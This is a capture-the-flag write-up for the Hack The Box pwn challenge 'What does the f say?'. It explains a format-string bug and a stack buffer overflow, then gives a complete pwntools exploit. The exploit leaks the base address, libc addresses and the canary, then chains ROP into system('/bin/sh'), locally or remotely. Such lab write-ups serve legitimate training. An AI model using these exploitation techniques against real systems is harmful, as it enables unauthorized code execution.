HTB What does the f say?

Kaddate |

Difficulty : Medium
Category : Pwn


We are given a single binary file called what_does_the_f_say. Let's start by a simple enumeration of its characteristics.

~ $ checksec ./what_does_the_f_say        
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

~ $ file ./what_does_the_f_say
what_does_the_f_say: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd622e290e6b1ac53e66369b85805ccd8a593fd0, for GNU/Linux 3.2.0, not stripped

The binary is not stripped which is very handy, but is well secured with Canary, Full RELRO, NX, PIE and ASLR on the remote server. Let's start it once to understand its behaviour.

~ $ ./what_does_the_f_say 
Welcome to Fox space bar!

Current space rocks: 69.69

1. Space drinks
2. Space food
2

1. E.Tarts (6.90 s.rocks)
2. Space Brownies (5.90 s.rocks)
3. Spacecream (7.90 s.rocks) 
2

Enjoy your Space Brownies!

Current space rocks: 63.79

1. Space drinks
2. Space food

Ok so the program is a space bar where you can buy drinks and food, you also have some money that decreases with every items you buy. So maybe the challenge will be about breaking the money counter.

Ghidra FTW

Looking at the function that handles the drinks, we can observe a first vulnerability.

void drinks_menu(void)
{
  long in_FS_OFFSET;
  int drink;
  char input [40];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  memset(input,0,30);
  puts(
      "\n1. Milky way (4.90 s.rocks)\n2. Kryptonite vodka (6.90 s.rocks)\n3. Deathstar(70.00 s.rocks )"
      );
  __isoc99_scanf("%d",&drink);
  if (drink == 1) {
    srocks = srocks - 4.9;
    srock_check();
    if (srocks <= 20.0) {
      puts("\nYou have less than 20 space rocks!");
    }
    enjoy("Milky way");
  }
  else if (drink == 2) {
    srock_check();
    puts("\nRed or Green Kryptonite?");
    read(0,input,29);
    printf(input);
    warning();
  }
  else if (drink == 3) {
    srocks = srocks - 69.99;
    srock_check();
    if (srocks <= 20.0) {
      puts("\nYou have less than 20 space rocks!");
    }
    enjoy("Deathstar");
  }
  else {
    puts("Invalid option!");
    goodbye();
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

When looking for Kryptonite, the program prompts us which type we want. This input is then passed into a printf() which allows us to control the format string of the printf() call. So we have format string vulnerability. There is a lot of things to do with it (Check out my printf Virtual Machine ;D ), but let's check the rest of the code base.

Right after this format strings vulnerability, the program calls the function warning(). If we are under 20 space Bucks, the program asks us we REALLY wanna buy the Kryptonite. This prompt is also vulnerable, but this to stack based buffer overflow, the buffer being 24 bytes, and scanf() not checking the boundaries of our input.

void warning(void)
{
  int iVar1;
  long in_FS_OFFSET;
  char input [24];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (20.0 < srocks) {
    enjoy("Kryptonite vodka");
    srocks = srocks - 6.9;
    srock_check();
  }
  else {
    puts("\nYou have less than 20 space rocks! Are you sure you want to buy it?");
    __isoc99_scanf("%s",input);
    iVar1 = strcmp(input,"yes");
    if (iVar1 == 0) {
      srocks = srocks - 6.9;
      srock_check();
      enjoy("Kryptonite vodka");
    }
    else {
      iVar1 = strcmp(input,"no");
      if (iVar1 == 0) {
        puts("\nA Milky way is nice too if you want..");
      }
    }
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Ok, so what's the plan

The path seems fairly clear: the format string vulnerability allows us to leak a large amount of information (essentially everything) and also serves as a powerful arbitrary write primitive. However, since the binary has full RELRO enabled, we cannot simply overwrite the __stack_chk_fail() routine and trigger a stack smashing crash via the warning() function.
Even tho we can leak libc addresses using the format string bug, we do not have access to the remote libc, meaning we will need to identify or "guess" which libc version is being used remotely. At first, I wasn't sure how to do this, but I eventually came across this blog article, which explains that we can leverage libc databases to determine the likely remote libc build by comparing several leaked addresses.

Exploit planification

Here are the steps that I came to :
1. Deduce the ASLR by leaking an address on the stack via printf()
2. Leak puts@got via printf()
3. Leak __libc_start_main@got via printf()
4. Deduce libc base address
5. Leak the canary on the stack via printf()
6. Go under 20 space bucks to flow into the stack based buffer overflow path.
7. RoP into system("/bin/sh")

Deducing ASLR

To leak the stack using printf(), we first need to understand where the arguments of printf() are, this is a pretty easy process and I figured that our string is the 8th value on the stack, so leaking from 9th argument and more will leak the stack of the function drinks_menu()

To identify what we can leak, I'll inject AAAAAAAA into the format strings and check what's on the stack using gdb.

We can see after our input on the stack the value 0x0000564ab178174a. We can use gef's command vmmap to check if it's an address, and where it points.

This a pointer to the code of the program, at the offset 0x174a. So we have our leak to deduce the ASLR.

def leak_base_address(p) -> int:
    send_format_string(p, b"AAAA%15$p")
    leak = int(p.recvline()[6:-1], 16)
    info(f"Leak = {hex(leak)}")
    base_address = leak - 0x174a
    success(f"Estimated Base address = {hex(leak - 0x174a)}")
    return base_address

Leak puts@got and __libc_start_main@got

Now that we have the base address of the program, we have the address of the GOT. So now, using the same vulnerability we can leak puts@got.

elf.address = leak_base_address(p)
def leak_libc_puts(p) -> int:
    puts_got = (elf.got.puts).to_bytes(8, 'little')
    info(f"puts@got = {hex(u64(puts_got))}")
    fmt = b"AAAA%9$s" + puts_got
    send_format_string(p, fmt)
    libc_puts = u64((p.recvn(10)[4:10]).ljust(8, b"\x00"))
    success(f"puts@libc = {hex(libc_puts)}")
    return libc_puts

And I'll do exactly the same for anothere symbol of the libc present in the program : __libc_start_main.

def leak_libc_start_main(p) -> int:
    __libc_start_main_got = (elf.got.__libc_start_main).to_bytes(8, 'little')
    info(f"__libc_start_main@got = {hex(u64(__libc_start_main_got))}")
    fmt = b"AAAA%9$s" + __libc_start_main_got
    send_format_string(p, fmt)
    libc___libc_start_main = u64((p.recvn(10)[4:10]).ljust(8, b"\x00"))
    success(f"__libc_start_main@libc = {hex(libc___libc_start_main)}")
    return libc___libc_start_main

Deducing the libc version

To deduce the libc version we can now use a libc database and pass it our fresh new libc leaks.

The database even gives us the system and bin_sh addresses :3 . But I'll download it to work on it locally.

After downloading the right libc

After downloading the right libc via the libc database, I discovered pwninit, that downloads the right loader and patches the elf to always load the correct libc, this allows developing the exploit in local once you got the remote libc locally.

Canary

The canary leak is pretty much the same. I used gef's command canary, to check the canary value and find it on the stack.

the ROP chain

Finally, after going under 20 space bucks, we can fall into the warning() function and trigger our rop chain.

def LaunchROP(p, libc_address, canary):
    libc.address = libc_address

    rop = ROP(libc)
    rop.raw(rop.find_gadget(['ret'])[0])
    rop.call('system', [next(libc.search(b"/bin/sh"))])

    info(rop.dump())
    p.sendlineafter(b"food\n", b"1")
    p.sendlineafter(b"rocks)\n", b"2")
    p.sendlineafter(b"Kryptonite?\n", b"red")
    payload = b"A" * 24 + p64(canary) + b"B" * 8 + rop.chain()
    p.sendlineafter(b"You have less than 20 space rocks! Are you sure you want to buy it?\n", payload)
    p.interactive()

POC

You can find the complete exploit here :

import argparse

def parse_args():
    """Parse command-line arguments for the exploit."""
    parser = argparse.ArgumentParser(description="CTF exploit script")

    parser.add_argument("binary", help="Path to the target ELF")
    parser.add_argument("--debug", action="store_true", help="Run the binary under gdb")
    parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"), 
                        help="Connect to remote HOST PORT")
    parser.add_argument("--libc", help="Path to custom libc")

    args, remaining = parser.parse_known_args()
    args.forward = remaining
    return args

cli_args = parse_args()
from pwn import *

def loader(args):
    global elf
    context.terminal = ['sakura', '-e', 'zsh', '-c']
    binary_and_argv = [args.binary] + [x for x in args.forward]

    # Load main binary
    context.binary = elf = ELF(args.binary, checksec=False)

    # Environment handling with optional libc
    env = {}
    libc = None

    if args.libc:
        libc = ELF(args.libc, checksec=False)
        info(f"Using custom libc {args.libc}")

    # Remote mode
    if args.remote:
        host, port = args.remote
        p =  remote(host, int(port))
    # Local debug mode
    elif args.debug:
        p = gdb.debug(
            binary_and_argv,
            env=env
            #gdbscript=""
        )
    else:
        pty = process.PTY
        p = process(binary_and_argv, env=env, stdin=pty, stdout=pty)

    return p, elf, libc

def send_format_string(p, format_str):
    p.sendlineafter(b"food\n", b"1")
    p.sendlineafter(b"rocks)\n", b"2")
    p.sendlineafter(b"Kryptonite?\n", format_str)

def leak_base_address(p) -> int:
    send_format_string(p, b"AAAA%15$p")
    leak = int(p.recvline()[6:-1], 16)
    info(f"Leak = {hex(leak)}")
    base_address = leak - 0x174a
    success(f"Estimated Base address = {hex(leak - 0x174a)}")
    return base_address

def leak_libc_puts(p) -> int:
    puts_got = (elf.got.puts).to_bytes(8, 'little')
    info(f"puts@got = {hex(u64(puts_got))}")
    fmt = b"AAAA%9$s" + puts_got
    send_format_string(p, fmt)
    libc_puts = u64((p.recvn(10)[4:10]).ljust(8, b"\x00"))
    success(f"puts@libc = {hex(libc_puts)}")
    return libc_puts

def leak_libc_start_main(p) -> int:
    __libc_start_main_got = (elf.got.__libc_start_main).to_bytes(8, 'little')
    info(f"__libc_start_main@got = {hex(u64(__libc_start_main_got))}")
    fmt = b"AAAA%9$s" + __libc_start_main_got
    send_format_string(p, fmt)
    libc___libc_start_main = u64((p.recvn(10)[4:10]).ljust(8, b"\x00"))
    success(f"__libc_start_main@libc = {hex(libc___libc_start_main)}")
    return libc___libc_start_main

def leak_canary(p) -> int:
    send_format_string(p, b"AAAA%13$p")
    canary = int(p.recvline()[4:-1], 16)
    success(f"Canary = {hex(canary)}")
    return canary

def reduce_money_below_threshold(p):
    while True:
        p.sendlineafter(b"food\n", b"2")
        p.sendlineafter(b"rocks)\n", b"1")
        for _ in range(3):
            p.recvline()

        line = p.recvline()
        if line == b"You have less than 20 space rocks!\n":
            success("Current money under 20")
            return

# BOF = 24 + 8 + 8 (buf + canary + RBP)
# Estimated libc version : libc6_2.27-3ubuntu1.2_amd64
def LaunchROP(p, libc_address, canary):
    libc.address = libc_address

    rop = ROP(libc)
    rop.raw(rop.find_gadget(['ret'])[0])
    rop.call('system', [next(libc.search(b"/bin/sh"))])

    info(rop.dump())
    p.sendlineafter(b"food\n", b"1")
    p.sendlineafter(b"rocks)\n", b"2")
    p.sendlineafter(b"Kryptonite?\n", b"red")
    payload = b"A" * 24 + p64(canary) + b"B" * 8 + rop.chain()
    p.sendlineafter(b"You have less than 20 space rocks! Are you sure you want to buy it?\n", payload)
    p.interactive()

if __name__ == "__main__":
    p, elf, libc = loader(cli_args)

    # The printf string is the 8th argument on the stack, we can
    # start leaking the stack from the 9th argument (%9$p)
    base_address = leak_base_address(p)

    elf.address = base_address

    canary = leak_canary(p)

    libc_address = leak_libc_puts(p) - 0x80a30
    info(f"libc address = {hex(libc_address)}")

    libc_start_main = leak_libc_start_main(p)
    info(f"Second estimation of libc address = {hex(libc_start_main - 0x21ab0)}")

    reduce_money_below_threshold(p)

    LaunchROP(p, libc_address, canary)